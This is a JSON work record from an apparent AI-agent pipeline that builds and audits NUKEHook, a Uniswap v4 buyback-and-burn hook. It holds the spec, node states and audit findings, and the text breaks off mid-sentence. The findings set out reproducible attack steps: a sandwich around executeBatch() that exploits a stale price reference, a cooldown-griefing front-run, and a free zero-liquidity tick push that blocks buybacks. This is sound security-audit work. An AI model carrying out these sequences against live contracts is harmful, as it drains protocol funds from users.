{"assessments":[],"deployments":[{"attestationHash":"7998d949068d396f49d3d3bf5ddbe44d1ec7493e48fda5eb63792a80d68afaf5","chainId":1,"contracts":[{"address":"0xaa67d6baa0100bbe1d2e498320477b0629d0eab2","blockNumber":26152172,"name":"NUKE","role":"token","txHash":"0x5e766ad095cb0491531d5734aeede475b529ebdfa36e2851c9c3f89b88d7fb4f"},{"address":"0xe8b24c8ad581646415cb48763d7b72d6f94ae856","blockNumber":26152172,"name":"MerkleDistributor","role":"distributor","txHash":"0x5e766ad095cb0491531d5734aeede475b529ebdfa36e2851c9c3f89b88d7fb4f"},{"address":"0x30c4329170e35c2edc49b5243db45689e756a0c4","blockNumber":26152172,"name":"NUKEHook","role":"hook","txHash":"0x5e766ad095cb0491531d5734aeede475b529ebdfa36e2851c9c3f89b88d7fb4f"}],"id":"42640d30-cf7a-4f38-b95f-47614f8f9b4f","manifestHash":"4d071d2754a4482d63238c77ca0983fc6d5ee77fc826a4361b7896f3a45f6706","status":"live"}],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"3737a633-f0a3-48a0-ba69-810f46dd0f21","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"15aa0f88f48c58d99ed8d72b5ac63595764ac745edc829fc0d1cbe1357999fde","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"0438d613f99dea180e8066f8312eb8f13eae83e24909dfdffd9be620b43da8e8","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"210d0722bbea4314367a2ccb6948be5622dda419d77d377ffe81dc41b9850cd6","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"09cd649daf91bb18695ae48e6bb8aeeb3289b32f98e1c95d7e591ce9b9fd1b74","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"7fc83c4860890ffabfd8e7c30e62c92e6ceafad8b1dd3e1cb7583dc3f0f2ad57","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"6f7fab5a2d524a0ccc5e104001480bafd55b771c6c4451c64f74fea4cfc051ca","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"587567a5ef71546b5973ceaf6ef1dbbd590f49503b5ac9a6973ed86b89584857","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"587567a5ef71546b5973ceaf6ef1dbbd590f49503b5ac9a6973ed86b89584857","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"5be82014052bb377fb061466e2e7b9219db5644f41cbea1016b47813b7feb0b9","dependsOn":["build_contract_project","write_foundry_tests"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"8f4ad9d6bbdb81020d6090d29ca031612ad8f7ddccd89adf933303840170374a","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"[SIMD-LAUNCH]\nToken name: On-Chain Oppenheimer\nToken symbol: NUKE\n\nOn-Chain Oppenheimer's NUKE token is launched paired with IMD on Uniswap v4 pool using a dedicated hook named NUKEHook. The total fixed supply is 1,000,000,000 tokens with 18 decimals, 10% allocated off-chain to the swarm, and 90% supplied directly to the pool at launch. The token itself is a standard ERC-20 with no custom logic or fees. \n\nCONTRACT: NUKEHook (the launch pool's hook)\n1. Immutable constants: 1% hook fee (100 bps) taken afterSwap on the actual BalanceDelta of the unspecified currency (could be launched token or IMD), matching the exact amount filled for fairness.\n2.\n\nMechanics specification (authoritative: where anything above differs, follow these exactly):\nM1. Buyback and burn in batches: on EVERY swap (buys and sells) the hook takes an extra 1% in afterSwap from the actual BalanceDelta, on the unspecified currency (afterSwapReturnDelta), so the fee always matches what filled. On a buy that currency is usually the launched token; on a sell it is usually the paired currency. Launched-token fees are burned: an anyone-callable sweep() sends them to 0x000000000000000000000000000000000000dEaD. Paired-currency fees accrue in the hook to fund buybacks and are never spent inside a swap callback. executeBatch(), callable by anyone in its own transaction, runs at most once every 3600 seconds; its budget is up to 25% of the accrued paired-currency balance, and it swaps exact-input through the PoolManager (unlock and swap) with a sqrtPriceLimit 300 bps beyond a time-weighted reference price kept by the hook, accepting a partial fill: whatever does not fit inside that limit stays accrued for the next batch, so the buyback can never deadlock. The price limit is the only slippage guard (no minimum-output check that hardcodes the LP fee). Batch swaps are made by the hook itself and pay no hook fee. Bought tokens go to 0x000000000000000000000000000000000000dEaD. Immutable constants; views pending(), pendingBurn(), lastBatch(), referencePrice().\n\nBuild requirements (mandatory):\n- A complete Foundry project at the repository root: foundry.toml with solc 0.8.26, evm_version cancun, optimizer on and bytecode_hash = \"none\", so the build is reproducible and every deployed contract can be source-verified (Sourcify/Etherscan) right after deploy: every contract the deployer deploys lives in src/, and every import resolves to a file committed in the repo (lib/ vendored, remappings.txt).\n- Contracts: NUKEHook. The hook is the hook of this launch's pool; keep its creation code within the EIP-3860 size limit.\n- No selfdestruct and no delegatecall anywhere in runtime code. No proxies, no owner, no upgradeability.\n- Chain: Ethereum mainnet (chainId 1). Uniswap v4 PoolManager: 0x000000000004444c5dc75cB358380D2e3dE08A90 (pass it to the hook constructor).\n- Paired currency: IMD, the ERC-20 at 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7 on Ethereum mainnet (18 decimals).\n- Every address the hook needs is known now and fixed at deployment; nothing may require an owner or a setter after launch.\n- Supply distribution is done by the launch factory: it mints the supply, seeds the pool, sends the swarm's 10% through its Merkle distributor and any remainder to remainderTo. No contract here sends the swarm allocation, and the token always mints the entire 1,000,000,000 (1e27 units) to its deployer: never subtract the swarm's 10% (IMD's protected invariants park any launch whose deployer holds less).\n- Hook fees are collected through beforeSwap/afterSwap return deltas, on top of the pool's static 1.25% LP fee (fee tier 12500). Never use the dynamic-fee flag, never call updateDynamicLPFee, never override the LP fee. The hook never reverts a real swap; the exceptions are a swap whose specified amount is so large that adding the hook fee would overflow int256 (for example type(int256).max requests): it may revert with UnrepresentableFee. That is the accepted swap domain.\n- The hook is a plain immutable contract deployed directly at a CREATE2-mined address with the right permission bits, and launch.json names the hook itself (no wrapper or proxy between the manifest and the hook).\n- Tests: Foundry unit, fuzz and mainnet-fork tests that swap through the real PoolManager with the hook (exact-input and exact-output, buys and sells), plus permission bits matching the hook address.\n- Every hook fee is proportional to what actually filled. Prefer taking it in afterSwap from the real BalanceDelta on the unspecified currency (afterSwapReturnDelta). If a fee is reserved on the specified side in beforeSwap, afterSwap must reconcile it against the actual fill and refund the excess to the swapper as an ERC-6909 claim, so a price-limited partial fill never pays more than the fee rate on what filled. Test exact-input and exact-output partial fills with a price limit.\n- launch.json pool: pairedCurrency 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7, fee 12500, tickSpacing 60, initialPrice \"79228162514264337593543950336\" (provenance only; the launch factory sets the opening price from the economics). Manifest shape as in live launch #1009: kind \"univ4_hook\"; token {contract, name, symbol, decimals} and hook {contract, ...} where each contract is a bare Solidity contract name like \"NUKE\" or \"NUKEHook\" (never a path or \"File.sol:Name\"); hook {contract, constructorArgs (e.g. [\"$poolManager\", \"$token\"]), permissions: an ARRAY of callback names such as [\"beforeInitialize\", \"beforeSwap\", \"afterSwap\", \"beforeSwapReturnDelta\", \"afterSwapReturnDelta\"]}; pool {...}; notes: a string explaining constructor args, permission bits and fees.","parentJobId":null,"planHash":"7a7a6051e365a8cd11d12fd36842ba3bfb39bc62c2de77cd76f723f00844d7c0","previousHash":"119b055cf5e0009bae8da45dc2b4c0f7501ceb1519eafa6ae9285f10f8c813e4","projectId":"3737a633-f0a3-48a0-ba69-810f46dd0f21","publication":{"commit":"ac53e3724ed15455f965422ac76dbb417bebbf6a","deliveredAt":"2026-10-09T03:27:54.798Z","repoUrl":"https://github.com/identity-md-launches/launch-1097-on-chain-oppenheimer"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":null,"snapshotHash":"833cab8992746b0895ebe674ee36870fe7a35480f46313ff374caa82d937cd83","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"824e6de6196c686f","findings":[{"citation":"resolved","description":"executeBatch() takes its only slippage guard from batchPriceLimit(), which is 3% beyond the geometric-mean price of the LAST COMPLETED launch-aligned hour (referencePrice -> _projectOracle().meanTick). Nothing in the limit computation looks at the current spot price except to decide whether the swap is a no-op. Within the current hour the reference does not move at all (it is only recomputed at the next hour boundary), so at second 3599 of an hour the anchor can be up to 7199 s old. Whenever the market has moved DOWN by more than ~3% since the previous hour's mean (routine for a launch token), the limit sits (drop + 3%) above spot, and the exact-input batch keeps buying through the whole gap: the hook buys NUKE at prices well above market with its accrued IMD. Because executeBatch() is permissionless and the fill is deterministic, any MEV searcher can wrap it: buy NUKE, call executeBatch() (which lifts the price to the stale limit), sell back in the same block. The round trip costs 2 x 2.25% in LP+hook fees and is still profitable once the gap between spot and limit exceeds ~5%. The loss is bounded per hour (25% of pending IMD times the overpayment) but recurs every hour the condition holds, and the leak goes to the sandwicher rather than to burned supply. The spec mandates a limit '300 bps beyond a time-weighted reference', which this honours; a spec-compatible fix is to also bound the limit relative to spot (e.g. limit = 3% beyond min(reference, spot) for buys, so the batch never pays more than 3% above the price at the moment it executes while never exceeding the reference bound), and/or to use a trailing window ending at block.timestamp so the anchor is at most one hour old.","line":204,"path":"src/NUKEHook.sol","reproduction":"Local PoolManager, NUKE as currency0, IMD etched at 0xD34a...63B7, pool initialised at sqrtPrice 2^96 (price 1.0), 1_000_000e18 liquidity units in [-12000, 12000]. (1) Transfer 400_000e18 IMD to the hook (stands in for accrued fees; pending() = 400_000e18). (2) warp to init + 3600 + 600 so hour 0 is complete with mean tick 0 => referencePrice() = 2^96, batchPriceLimit() = 2^96*sqrt(1.03). (3) An unrelated holder sells 60_000e18 NUKE exact-input with no limit: spot price falls to 0.8913 (Q96 70612670827030951050912188126). limit price is 1.0300, i.e. 11556 bps of spot. (4) Attacker, in one block: buys NUKE with 20_000e18 IMD exact-input; calls executeBatch(); sells exactly the NUKE received. Observed: batch spent 51_721.48e18 IMD for 52_215.10e18 NUKE, average price 0.9905 per NUKE (Q96 78479171701153931796031431046) while spot before the batch was 0.8913, an 11.1% overpayment on the whole batch; attacker ends flat in NUKE and +1_181.82e18 IMD richer (2.3% of the batch's spend) after paying 1.25% LP + 1% hook fee on both legs. Expected: a buyback whose slippage guard is 300 bps should not fill more than ~3% above the price at the moment it executes; the same block without the sandwich should also not pay 11% above market. Also verifiable: at init + 7199 after a sell at init + 3600, referencePrice() still returns 2^96 (the hour-0 mean), i.e. the anchor is 7199 s old. Scratch test used: test/scratch/StaleReference.t.sol (test_batchBuysFarAboveSpotAndIsSandwichable, test_referenceAge).","severity":"medium","snippet":"        uint160 limit = batchPriceLimit();\n        (uint160 spot,,,) = poolManager.getSlot0(poolId);\n        if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);","title":"Batch price limit is anchored to a reference up to 7199 s old, so after an organic intra-hour drop the buyback pays far above spot and is sandwichable"},{"citation":"resolved","description":"executeBatch() refuses to consume the cooldown when spot is already beyond the limit (returns (0,0)), but once spot is strictly inside the limit by any margin it sets lastBatch = block.timestamp before the swap and keeps it regardless of how much actually filled. The fill amount is fully controlled by whoever sets the spot price in the same block. A griefer can therefore front-run every executeBatch() (or call it themselves in one transaction): swap exact-input with sqrtPriceLimitX96 = batchPriceLimit() - 1 so spot lands exactly one wei inside the limit, call executeBatch() (fills a few wei, lastBatch is consumed), then swap back. The buyback is pushed out by a full hour each time; repeated hourly it never meaningfully executes while the IMD stays accrued. The griefer pays the round-trip LP and hook fees (about 662e18 IMD per hour at the test liquidity), so this is a paid griefing vector rather than theft, and the accrued IMD is never lost. A cheap mitigation that keeps the spec's partial-fill semantics is to consume the cooldown only when the fill reaches some floor (e.g. spent >= budget / 100), or to let a batch that filled less than the floor be retried without waiting.","line":207,"path":"src/NUKEHook.sol","reproduction":"Same local setup as finding 1 (NUKE currency0, price 1.0, 1_000_000e18 liquidity in [-12000,12000]). (1) Transfer 400_000e18 IMD to the hook; warp to init + 3600 so a batch is allowed; limit = hook.batchPriceLimit(). (2) Attacker swaps exact-input 1_000_000e18 IMD for NUKE with sqrtPriceLimitX96 = limit - 1: the swap stops at that price (spot == limit - 1), moving 14_524.01e18 NUKE. (3) Attacker calls executeBatch(). Observed: returns (spent = 2, burned = 0), lastBatch == block.timestamp, and executeBatch() now reverts BatchTooSoon until block.timestamp + 3600. (4) Attacker sells the 14_524e18 NUKE back, ending flat in NUKE and down 662.44e18 IMD in fees. Expected: a batch that bought nothing (0 NUKE burned, 2 wei spent out of a 100_000e18 budget) should not block the buyback for another hour. Scratch test used: test/scratch/DustFill.t.sol (test_frontRunnerForcesDustFillAndConsumesCooldown).","severity":"low","snippet":"        if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);\n        lastBatch = block.timestamp;\n        operation = 2;\n        (spent, burned) = abi.decode(poolManager.unlock(abi.encode(budget, limit)), (uint256, uint256));","title":"A front-runner can park spot one wei inside the limit so executeBatch fills dust (2 wei) yet consumes the full 3600 s cooldown"}],"hash":"0438d613f99dea180e8066f8312eb8f13eae83e24909dfdffd9be620b43da8e8","nodeId":"682e8219-1e35-4fe3-8017-ed230432b7be","outcome":"completed","summary":"The findings file parses as valid JSON, both anchor lines match the source exactly, scratch tests are removed, and the working tree has no stray files (`.imd-findings.json` is ignored by the harness's exclude rules, as intended).\n\n## Review summary\n\n**Scope covered.** Control flow of NUKEHook under the Pashov Execution Trace, Periphery and First Principles guides: every state-changing entry point, the beforeSwap view, the oracle arithmetic, the delta accounting against the vendored v4-core `Hooks.afterSwap` and `PoolManager.swap` order, the standalone/busy guards, the CREATE2 miner, and the test routers. The existing 88-test suite passes locally and includes an independent oracle model and fail-on-revert invariants, so the core accounting holds.\n\n**Findings written to `.imd-findings.json`** (two, each with a reproduced call sequence and observed numbers):\n\n1. **Medium.** The batch price limit is 3% beyond the previous *completed* hour's mean, which can be 7199 s old and never moves during the current hour. After an organic 11% intra-hour drop, the limit sat 15.6% above spot, the batch paid an average 11% over market, and a same-block sandwicher around `executeBatch()` netted about 1,182 IMD on a 51.7k IMD batch after fees. A spec-compatible fix is to bound the limit by min(reference, spot) or use a trailing window ending now.\n2. **Low.** A front-runner can park spot one wei inside the limit so the batch fills 2 wei, buys nothing, and still consumes the hourly cooldown. It costs the griefer roughly 662 IMD per hour at test liquidity and delays buybacks indefinitely without loss of funds.\n\n**Coverage record.** All eight listed entry points have rows (seven `holds`, `executeBatch` → finding 1), plus rows for `beforeSwap`, the zero-delta invariant, oracle bounds, permission/manifest agreement, and the periphery helpers. Nothing was left unreached.\n\n**Not reached or out of scope.** Live IMD token behaviour on mainnet (fork tests need an RPC this environment lacks), and the launch factory's seeding transaction, which is not in this repository.","treeHash":null,"usage":{"cachedInputTokens":1553243,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":49233,"runtime":"claude","turns":35,"wallClockMs":972792}},{"artifacts":[],"attempt":1,"bundleHash":"fce8089a5db1e72947d9cd749bfff2ba768276957a437930ced517cfb42cc3f1","device":"1091c186c92b376f","findings":[],"hash":"06caed2261182039e7971e6fe02347aa3012eff80e4377f611d0c6aa46aeeca7","nodeId":"5676ec18-bf1d-4018-8d31-0980164a0bdb","outcome":"completed","summary":"Fixed both medium findings and the zero-output cooldown defect. Intentional fee rounding remains unchanged. All four findings are answered in [.imd-responses.json](/home/imd/.identitymd/work/3737a633-f0a3-48a0-ba69-810f46dd0f21/5676ec18-bf1d-4018-8d31-0980164a0bdb/.imd-responses.json).\n\n`forge build`, `forge test`, and `forge fmt --check` pass. Both mainnet fork tests pass at block 26,150,958.","treeHash":"c0ed4625995f11f5de5f109ac8212a4b6071b72d","usage":{"cachedInputTokens":2356992,"inputTokens":234720,"model":"gpt-6-astra","outputTokens":12707,"runtime":"codex","turns":7,"wallClockMs":554986}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e89087c02a1681bf","findings":[],"hash":"09822d9850272358a5077ca80d6c0cf6040cf39b8c10900f664f9395dfac5f8f","nodeId":"9ab6808e-0969-4eac-9f4b-fa291f67f665","outcome":"failed","summary":"could not restore accepted work: accepted work conflicts with a dependency, which plan validation should have prevented: ","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"codex","turns":0,"wallClockMs":888}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ddfb1efa72fe9a94","findings":[{"citation":"resolved","description":"Seam: boundary (zero liquidity) x invariant (the reference reflects prices at which NUKE actually traded). _observe() records slot0.tick after every swap and _projectOracle() weights the PREVIOUS tick by elapsed seconds. Nothing checks that the pool had liquidity at the recorded tick. In v4, a swap whose path crosses a region with zero liquidity moves sqrtPrice all the way to sqrtPriceLimitX96 while filling nothing (SwapMath with liquidity 0 gives amountIn = amountOut = fee = 0 at every step), so the tick can be set to MIN_TICK (or MAX_TICK-1) for gas only: a 1-wei exact-input sell with limit MIN_SQRT_PRICE+1 settles a zero BalanceDelta, needs no allowance and pays no LP or hook fee. The launch pool is exactly that shape: the factory seeds NUKE only, so for NUKE = currency0 everything below the opening tick is empty (for NUKE = currency1 everything above it); the repo's own FreshPoolClaimsTest models this. Arithmetic: with the honest tick near 0, holding tick -887272 for a single 12 s block in a 3600 s window gives integral = -887272*12 = -10,647,264 tick-seconds, mean = floor(-10,647,264/3600) = -2958 ticks; referencePrice() = getSqrtPriceAtTick(-2958) = 0.8625*2^96 (price 0.744 of the traded price); batchPriceLimit() = 0.8625*2^96*sqrt(1.03) = 0.8753*2^96 (price 0.766). executeBatch() then hits `if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);` (src/NUKEHook.sol:206) for the whole next hour although every real trade in the window happened within 1% of spot. Blocking needs only mean <= realTick - 296 (ln1.03/ln1.0001), i.e. about 296*3600/(887272+realTick) = 1.2 seconds per hour at the extreme tick, so a single block per window suffices; the push persists until the next trade in a later block. Repeating the push once per hour (gas only, no capital) stalls the buy-back-and-burn mechanism indefinitely while IMD keeps accruing in pending(). Both currency orderings reproduce (proof contains a reverse-order contract). Precondition: spot at the edge of liquidity with an empty region adjacent, which holds at launch, whenever price returns to the launch floor, and whenever the LP position is withdrawn. The README's claim that the hourly reference 'resists instantaneous manipulation' because 'a same-block price move has no elapsed weight' assumes moving the tick costs money; at the zero-liquidity boundary it does not. Minimal fix that keeps the design: in _observe(), after reading slot0, only adopt the new tick when poolManager.getLiquidity(poolId) != 0 (otherwise keep the previously observed tick), or clamp the observed tick to the tick range in which the swap actually filled; the hook's own batch observation at line 242 needs the same guard.","line":248,"path":"src/NUKEHook.sol","reproduction":"State: fresh PoolManager, NUKE/IMD pool initialised at sqrtPrice 2^96 with a NUKE-only position [0, 12000] (NUKE = currency0), 1000e18 IMD held by the hook (pending() = 1000e18). t = start+100: attacker calls router swap with SwapParams(zeroForOne = true, amountSpecified = -1, sqrtPriceLimitX96 = MIN_SQRT_PRICE+1). Result: BalanceDelta 0, attacker balances unchanged, pendingBurn() = 0, slot0.tick = -887272. t = start+112: an unrelated buyer swaps 100e18 IMD for NUKE with limit MAX_SQRT_PRICE-1; tick returns to about +6. t = start+3600: referencePrice() = 68,339,587,790,462,309,910,373,190,710 (0.8625 * 2^96), batchPriceLimit() < spot; executeBatch() returns (0, 0) and lastBatch() stays = start. Expected (and observed in the control run without the 1-wei swap): executeBatch() returns spent = 250e18, bought > 0. Run: forge test --match-path test/scratch/OracleZeroLiquidity.t.sol -> test_freeZeroLiquidityTickPushBlocksBuyback fails in both OracleZeroLiquidityTest and OracleZeroLiquidityReverseTest with 'buyback blocked by a free zero-liquidity tick push: 0 <= 0'; test_control_batchRunsWithoutManipulation passes.","severity":"medium","snippet":"    function _observe() private {\n        Oracle memory next = _projectOracle();\n        (, next.tick,,) = poolManager.getSlot0(poolId);\n        oracle = next;\n    }","title":"Hourly tick oracle credits time spent at ticks reached through zero-liquidity regions, so one free 1-wei swap per hour blocks every buyback"},{"citation":"resolved","description":"Math Precision check 'fees round UP / zero-rounding at 1 wei'. fee = |filled| * 100 / 10_000 truncates, so any swap whose unspecified-side fill is below 100 wei pays 0 and every other swap under-pays by less than 1 wei. The loss is bounded at 1 wei per swap and does not compound: splitting a trade into sub-100-wei pieces costs orders of magnitude more gas than the fee avoided, and the LP fee still applies to each piece. The README documents floor(abs(delta)/100) and the suite asserts it (test_dustFeeRoundsDown). Reported for completeness of the rounding review; no action is required unless the author wants the fee to round against the swapper, in which case use (|filled| * FEE_BPS + 9_999) / 10_000, which still fits int128.","line":149,"path":"src/NUKEHook.sol","reproduction":"Exact-input buy of 50 wei IMD -> NUKE on the local pool: raw unspecified delta is 48 wei NUKE, fee = 48*100/10000 = 0, pendingBurn() stays 0 (existing test test_dustFeeRoundsDown). Likewise filled = 99 -> fee 0; filled = 199 -> fee 1 (0.503%).","severity":"info","snippet":"        uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;","title":"Hook fee rounds down: fills of 1 to 99 wei on the unspecified side pay no hook fee"}],"hash":"09cd649daf91bb18695ae48e6bb8aeeb3289b32f98e1c95d7e591ce9b9fd1b74","nodeId":"8bc3ce53-f153-4e42-906f-ca1de3c99853","outcome":"completed","summary":"The review is complete. The working tree is untouched apart from the two review artifacts, which git ignores by design.\n\n**Outcome.** The hook's fee, settlement and oracle arithmetic is sound in every place the Math Precision, Boundary and Numerical Gap guides point to, except one boundary seam that lets anyone stall the buyback for free. Findings are in `.imd-findings.json` with a 13-row coverage record covering all eight listed entry points plus five extra rows for views and invariants.\n\n**Finding 1, medium, with proof.** The hourly tick oracle counts time spent at any tick, including ticks reached through a zero-liquidity region. A one-wei exact-input sell with the price limit at the extreme fills nothing, pays no LP or hook fee, needs no allowance, and still parks the pool tick at the minimum or maximum. The launch pool is seeded with NUKE only, so that empty region sits directly beside the opening price. One block at the extreme tick per hour shifts the completed window's mean by roughly 2957 ticks, about 25 percent in price, against a 3 percent limit. Every subsequent call to `executeBatch` returns zero while IMD keeps accruing. Blocking needs only about 1.2 seconds per hour at the extreme tick. The scratch proof at `test/scratch/OracleZeroLiquidity.t.sol` fails on the current code for both currency orderings and includes a passing control run that spends 250 IMD without the push. The suggested minimal fix is to keep the previous tick in `_observe` when pool liquidity is zero.\n\n**Finding 2, info.** Hook fees truncate, so fills under 100 wei pay nothing. Bounded at 1 wei per swap and non-compounding. Reported only because the guide asks for fee rounding direction to be checked.\n\n**Verified as holding.** The sqrt(1.03) constant is an exact floor. Both limit roundings and the clamps are conservative. The int64 integral, int24 mean cast, int256-minimum handling in beforeSwap, int128 fee fit, 25 percent budget cap, and claim-versus-wallet settlement split all stay inside their bounds. Hook deltas net to zero in every unlock path. All 88 existing tests pass.\n\n**Static-analysis leads.** The weak-PRNG, divide-before-multiply, unsafe-cast and strict-equality lines are false positives on bounded or intentional arithmetic. None was reported.\n\n**Not reached.** Live mainnet IMD token behaviour and the real factory's position range were not verifiable offline. If the factory seeds full-range two-sided liquidity, the precondition for finding 1 weakens, but the repo's own fresh-pool tests model the one-sided seed.","treeHash":null,"usage":{"cachedInputTokens":2038562,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":55347,"runtime":"claude","turns":32,"wallClockMs":1176005}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"6b0a28df3d585600","findings":[{"citation":"resolved","description":"The only slippage guard on the buyback is a sqrtPriceLimit 3% beyond referencePrice(), and referencePrice() is the time-weighted mean tick of the LAST COMPLETED launch-aligned hour (_projectOracle, lines 254-271). A batch run late in the current window therefore prices itself off data that is between one and two hours old and never looks at the current spot price except to decide whether to no-op. When NUKE has fallen since that window closed (the common post-launch case, and any sustained down-trend), the limit sits far above the market: after a 40% fall the limit is 1.03/0.595 = 1.73x spot. The batch then walks the curve from spot up to that limit, paying an average price well above market, and because executeBatch is permissionless and callable in the same transaction as ordinary swaps (standalone only requires the manager to be locked, which it is between two router calls), anyone can front-run it with a buy and back-run it with a sell. The fees (1.25% LP + 1% hook) that make this sandwich unprofitable when the reference is fresh (see second reproduction) do not protect it once the reference is stale. The loss falls on the buyback fund: 25% of pending IMD per hour buys materially fewer NUKE than it could at market, and the difference is captured by the sandwicher and by the LP curve. The README acknowledges lag but documents it as harmless; the numbers below show it is extractable. Suggested fix preserving the spec: also bound the limit by the current spot (limit = min(ref*1.03, spot*1.03) in the adverse direction), or base the reference on the trailing hour ending now rather than the last completed window, so the lag is at most one hour and a same-block move still has zero weight.","line":204,"path":"src/NUKEHook.sol","reproduction":"Local PoolManager, pool initialised at 1 NUKE = 1 IMD with 1e6 liquidity units over ticks +/-12000 (the project's HookFixture, either currency ordering). (1) Transfer 200_000 IMD to the hook so pending() = 200_000 and the budget is 50_000. (2) warp to start+3601: window [start,start+3600) completes with mean tick 0, referencePrice() = 2^96 (price 1.0). (3) A market seller swaps 300_000 NUKE exact-input into the pool: spot falls to 0.595 IMD/NUKE. (4) warp to start+7199 (still inside window 2): referencePrice() is still 1.0 and batchPriceLimit() is 1.03 (sqrt 80407803025877290703249465302 when NUKE is currency0), i.e. 73% above spot. (5) Attacker buys NUKE with 40_000 IMD exact-input (receives 62_506 NUKE, spot -> 0.658). (6) Attacker calls executeBatch(): it spends 50_571 IMD and burns 71_531 NUKE, an average of 0.707 IMD/NUKE, 18.8% above the 0.595 spot before the sandwich; spot ends at 0.741. (7) Attacker sells the 62_506 NUKE exact-input and receives 43_004 IMD: net profit +3_004 IMD (7.5% on 40_000) in one transaction, paid for by the buyback fund. Expected: the batch should not pay materially above the current market, and a sandwich should lose money as it does when the reference is fresh. Control: identical steps without step (3) (reference equals spot): the attacker's 40_000 buy pushes spot past the limit, executeBatch returns (0,0), and the attacker loses 1_737 IMD selling back, so the mechanism only fails when the reference is stale. Scratch test used to obtain these numbers: HookFixture._local(false) and _local(true) both reproduce the same figures.","severity":"medium","snippet":"        uint160 limit = batchPriceLimit();\n        (uint160 spot,,,) = poolManager.getSlot0(poolId);\n        if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);","title":"Buyback price limit is anchored only to a 1-2 hour old reference, so after a price decline executeBatch buys far above spot and is sandwichable"},{"citation":"resolved","description":"executeBatch() refuses to consume the cooldown when spot is already at or beyond the limit (line 206 returns (0,0) and leaves lastBatch untouched), but if spot is even one sqrt-price unit short of the limit the swap proceeds, fills a few wei, and lastBatch is set to block.timestamp. The whole hour is then lost for a buyback of effectively zero. Because executeBatch is permissionless and the standalone guard only requires the manager to be locked, a griefer can do the whole thing atomically: swap with sqrtPriceLimitX96 = batchPriceLimit() -/+ 1 to park spot exactly below the limit, call executeBatch(), then sell back. The griefer pays the round-trip fees, so this is costed griefing rather than theft, and the hook even collects 1% of the griefer's sell leg into pending(); it is reported as low because it defeats the documented 'at most once an hour, 25% of pending' cadence for as long as someone is willing to pay roughly 